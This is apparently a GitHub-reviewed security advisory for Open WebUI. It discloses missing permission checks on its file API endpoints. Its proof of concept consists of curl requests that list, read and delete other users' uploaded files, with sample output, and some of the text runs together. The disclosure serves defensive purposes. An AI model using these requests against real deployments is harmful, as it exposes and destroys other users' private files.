OSV 1.4.0 · github-reviewed · 修改于 2026-05-19 23:58
发布时间
2026-05-15 04:15
GitHub 审查时间
2026-05-15 04:15
NVD 发布时间
2026-05-16 06:16
源文件
advisories/github-reviewed/2026/05/GHSA-r8wh-8m7r-fh33/GHSA-r8wh-8m7r-fh33.json
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
All files/ related endpoints lack permission checks.
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollamatest.txt in a conversation with modelmydeepest_secret.docx in a conversation with model/api/v1/files/curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
/api/v1/files/{id}/contentcurl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
/api/v1/files/{id}curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).